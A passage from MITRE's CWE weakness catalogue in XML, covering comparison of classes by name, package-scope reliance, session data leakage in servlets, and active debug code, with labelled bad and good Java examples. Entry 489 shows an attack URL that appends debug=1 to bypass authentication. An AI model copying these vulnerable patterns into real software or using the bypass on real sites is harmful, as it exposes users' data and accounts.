					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description, Detection_Factors</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-11-24">Omitted Break Statement</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="486" Name="Comparison of Classes by Name" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>The product compares classes by name, which can cause it to use the wrong class when multiple classes can have the same name.</Description>
         <Extended_Description>If the decision to trust the methods and data of an object is based on the name of a class, it is possible for malicious users to send objects of the same name as trusted classes and thereby gain the trust afforded to known classes and types.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="1025" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Name="Java" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>High</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Confidentiality</Scope>
               <Scope>Availability</Scope>
               <Impact>Execute Unauthorized Code or Commands</Impact>
               <Note>If a product relies solely on the name of an object to determine identity, it may execute the incorrect or unintended code.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Use class equivalency to determine type. Rather than use the class name to determine if an object is of a given type, use the getClass() method, and == operator.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>In this example, the expression in the if statement compares the class of the inputClass object to a trusted class by comparing the class names.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>if (inputClass.getClass().getName().equals("TrustedClassName")) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>
                           <xhtml:br/>
                           <xhtml:i>// Do something assuming you trust inputClass</xhtml:i>
                           <xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>// ...</xhtml:i>
                           <xhtml:br/>
                        </xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>However, multiple classes can have the same name therefore comparing an object's class by name can allow untrusted classes of the same name as the trusted class to be use to execute unintended or incorrect code. To compare the class of an object to the intended class the getClass() method and the comparison operator "==" should be used to ensure the correct trusted class is used, as shown in the following example.</Body_Text>
               <Example_Code Nature="Good" Language="Java">
                  <xhtml:div>if (inputClass.getClass() == TrustedClass.class) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>
                           <xhtml:br/>
                           <xhtml:i>// Do something assuming you trust inputClass</xhtml:i>
                           <xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>// ...</xhtml:i>
                           <xhtml:br/>
                        </xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>In this example, the Java class, TrustedClass, overrides the equals method of the parent class Object to determine equivalence of objects of the class. The overridden equals method first determines if the object, obj, is the same class as the TrustedClass object and then compares the object's fields to determine if the objects are equivalent.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>public class TrustedClass {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>...<xhtml:br/>
                           <xhtml:br/>@Override<xhtml:br/>public boolean equals(Object obj) {<xhtml:div style="margin-left:1em;">
                              <xhtml:div>boolean isEquals = false;<xhtml:br/>
                                 <xhtml:br/>
                                 <xhtml:i>// first check to see if the object is of the same class</xhtml:i>
                                 <xhtml:br/>if (obj.getClass().getName().equals(this.getClass().getName())) {<xhtml:div style="margin-left:1em;">
                                    <xhtml:div>
                                       <xhtml:br/>
                                       <xhtml:i>// then compare object fields</xhtml:i>
                                       <xhtml:br/>...<xhtml:br/>if (...) {<xhtml:div style="margin-left:1em;">isEquals = true;</xhtml:div>}</xhtml:div>
                                 </xhtml:div>}<xhtml:br/>
                                 <xhtml:br/>return isEquals;</xhtml:div>
                           </xhtml:div>}<xhtml:br/>
                           <xhtml:br/>...</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>However, the equals method compares the class names of the object, obj, and the TrustedClass object to determine if they are the same class. As with the previous example using the name of the class to compare the class of objects can lead to the execution of unintended or incorrect code if the object passed to the equals method is of another class with the same name. To compare the class of an object to the intended class, the getClass() method and the comparison operator "==" should be used to ensure the correct trusted class is used, as shown in the following example.</Body_Text>
               <Example_Code Nature="Good" Language="Java">
                  <xhtml:div>public boolean equals(Object obj) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>...<xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>// first check to see if the object is of the same class</xhtml:i>
                           <xhtml:br/>if (obj.getClass() == this.getClass()) {<xhtml:div style="margin-left:1em;">...</xhtml:div>}<xhtml:br/>
                           <xhtml:br/>...</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="7 Pernicious Kingdoms">
               <Entry_Name>Comparing Classes by Name</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CLASP">
               <Entry_Name>Comparing classes by name</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>OBJ09-J</Entry_ID>
               <Entry_Name>Compare classes and not class names</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP1</Entry_ID>
               <Entry_Name>Glitch in computation</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-6"/>
            <Reference External_Reference_ID="REF-18"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>7 Pernicious Kingdoms</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Description, Relationships, Other_Notes, Relevant_Properties, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Relationships, Relevant_Properties</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Common_Consequences, Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Comparing Classes by Name</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="487" Name="Reliance on Package-level Scope" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>Java packages are not inherently closed; therefore, relying on them for code security is not a good practice.</Description>
         <Extended_Description>The purpose of package scope is to prevent accidental access by other parts of a program. This is an ease-of-software-development feature but not a security feature.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="664" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Name="Java" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>Medium</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Application Data</Impact>
               <Note>Any data in a Java package can be accessed outside of the Java framework if the package is distributed.</Note>
            </Consequence>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Modify Application Data</Impact>
               <Note>The data in a Java class can be modified by anyone outside of the Java framework if the packages is distributed.</Note>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Phase>Implementation</Phase>
               <Description>Data should be private static and final whenever possible. This will assure that your code is protected by instantiating early, preventing access and tampering.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>The following example demonstrates the weakness.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>package math;<xhtml:br/>public class Lebesgue implements Integration{<xhtml:div style="margin-left:1em;">
                        <xhtml:div>public final Static String youAreHidingThisFunction(functionToIntegrate){<xhtml:div style="margin-left:1em;">
                              <xhtml:div>
                                 <xhtml:br/>return ...;</xhtml:div>
                           </xhtml:div>}</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="CLASP">
               <Entry_Name>Relying on package-level scope</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>MET04-J</Entry_ID>
               <Entry_Name>Do not increase the accessibility of overridden or hidden methods</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-18"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CLASP</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Description, Other_Notes, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References, Type</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Relying on Package-level Scope</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="488" Name="Exposure of Data Element to Wrong Session" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product does not sufficiently enforce boundaries between the states of different sessions, causing data to be provided to, or used by, the wrong session.</Description>
         <Extended_Description>
            <xhtml:p>Data can "bleed" from one session to another through member variables of singleton objects, such as Servlets, and objects from a shared pool.</xhtml:p>
            <xhtml:p>In the case of Servlets, developers sometimes do not understand that, unless a Servlet implements the SingleThreadModel interface, the Servlet is a singleton; there is only one instance of the Servlet, and that single instance is used and re-used to handle multiple requests that are processed simultaneously by different threads. A common result is that developers use Servlet member fields in such a way that one user may inadvertently see another user's data. In other words, storing user data in Servlet member fields introduces a data access race condition.</xhtml:p>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="668" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Application Data</Impact>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Protect the application's sessions from information leakage. Make sure that a session's data is not used or visible by other sessions.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Testing</Phase>
               <Description>Use a static analysis tool to scan the code for information leakage vulnerabilities (e.g. Singleton Member Field).</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>In a multithreading environment, storing user data in Servlet member fields introduces a data access race condition. Do not use member fields to store information in the Servlet.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>The following Servlet stores the value of a request parameter in a member field and then later echoes the parameter value to the response output stream.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>public class GuestBook extends HttpServlet {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>String name;<xhtml:br/>
                           <xhtml:br/>protected void doPost (HttpServletRequest req, HttpServletResponse res) {<xhtml:div style="margin-left:1em;">name = req.getParameter("name");<xhtml:br/>...<xhtml:br/>out.println(name + ", thanks for visiting!");</xhtml:div>}</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>While this code will work perfectly in a single-user environment, if two users access the Servlet at approximately the same time, it is possible for the two request handler threads to interleave in the following way: Thread 1: assign "Dick" to name Thread 2: assign "Jane" to name Thread 1: print "Jane, thanks for visiting!" Thread 2: print "Jane, thanks for visiting!" Thereby showing the first user the second user's name.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="7 Pernicious Kingdoms">
               <Entry_Name>Data Leaking Between Users</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="59"/>
            <Related_Attack_Pattern CAPEC_ID="60"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-6"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>7 Pernicious Kingdoms</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Description, Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Description, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-09-27</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Modes_of_Introduction, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References, Relationships, Type</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Data Leaking Between Users</Previous_Entry_Name>
            <Previous_Entry_Name Date="2011-03-29">Data Leak Between Sessions</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="489" Name="Active Debug Code" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product is deployed to unauthorized actors with debugging code still enabled or active, which can create unintended entry points or expose sensitive information.</Description>
         <Extended_Description>A common development practice is to add "back door" code specifically designed for debugging or testing purposes that is not intended to be shipped or deployed with the product. These back door entry points create security risks because they are not considered during design or testing and fall outside of the expected operating conditions of the product.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="710" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="CanPrecede" CWE_ID="215" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Indirect</Ordinality>
            </Weakness_Ordinality>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
			<Technology Class="Not Technology-Specific" Prevalence="Undetermined"/>
			<Technology Class="ICS/OT" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Alternate_Terms>
            <Alternate_Term>
               <Term>Leftover debug code</Term>
	       <Description>This term originates from Seven Pernicious Kingdoms</Description>
            </Alternate_Term>
         </Alternate_Terms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>In web-based applications, debug code is used to test and modify web application properties, configuration information, and functions. If a debug application is left on a production server, this oversight during the "software process" allows attackers access to debug functionality.</Note>
            </Introduction>
            <Introduction>
               <Phase>Build and Compilation</Phase>
            </Introduction>
            <Introduction>
               <Phase>Operation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Scope>Availability</Scope>
               <Scope>Access Control</Scope>
               <Scope>Other</Scope>
               <Impact>Bypass Protection Mechanism</Impact>
               <Impact>Read Application Data</Impact>
               <Impact>Gain Privileges or Assume Identity</Impact>
               <Impact>Varies by Context</Impact>
               <Note>The severity of the exposed debug application will depend on the particular instance. At the least, it will give an attacker sensitive information about the settings and mechanics of web applications on the server. At worst, as is often the case, the debug application will allow an attacker complete control over the web application and server, as well as confidential information that either of these access.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Build and Compilation</Phase>
               <Phase>Distribution</Phase>
               <Description>Remove debug code before deploying the application.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>Debug code can be used to bypass authentication. For example, suppose an application has a login script that receives a username and a password. Assume also that a third, optional, parameter, called "debug", is interpreted by the script as requesting a switch to debug mode, and that when this parameter is given the username and password are not checked. In such a case, it is very simple to bypass the authentication process if the special behavior of the application regarding the debug parameter is known. In a case where the form is:</Intro_Text>
               <Example_Code Nature="Bad" Language="HTML">
                  <xhtml:div>&lt;FORM ACTION="/authenticate_login.cgi"&gt;<xhtml:div style="margin-left:1em;">&lt;INPUT TYPE=TEXT name=username&gt;<xhtml:br/>&lt;INPUT TYPE=PASSWORD name=password&gt;<xhtml:br/>&lt;INPUT TYPE=SUBMIT&gt;</xhtml:div>&lt;/FORM&gt;</xhtml:div>
               </Example_Code>
               <Body_Text>Then a conforming link will look like:</Body_Text>
               <Example_Code Nature="Informative">
                  <xhtml:div>http://TARGET/authenticate_login.cgi?username=...&amp;password=...</xhtml:div>
               </Example_Code>
               <Body_Text>An attacker can change this to:</Body_Text>
               <Example_Code Nature="Attack">
                  <xhtml:div>http://TARGET/authenticate_login.cgi?username=&amp;password=&amp;debug=1</xhtml:div>
               </Example_Code>
               <Body_Text>Which will grant the attacker access to the site, bypassing the authentication process.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="7 Pernicious Kingdoms">
               <Entry_Name>Leftover Debug Code</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OWASP Top Ten 2004">
               <Entry_ID>A10</Entry_ID>
               <Entry_Name>Insecure Configuration Management</Entry_Name>
               <Mapping_Fit>CWE More Specific</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP28</Entry_ID>
               <Entry_Name>Unexpected access points</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="121"/>
            <Related_Attack_Pattern CAPEC_ID="661"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-6"/>
         </References>
         <Notes>
            <Note Type="Other">In J2EE a main method may be a good indicator that debug code has been left in the application, although there may not be any direct security impact.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>7 Pernicious Kingdoms</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
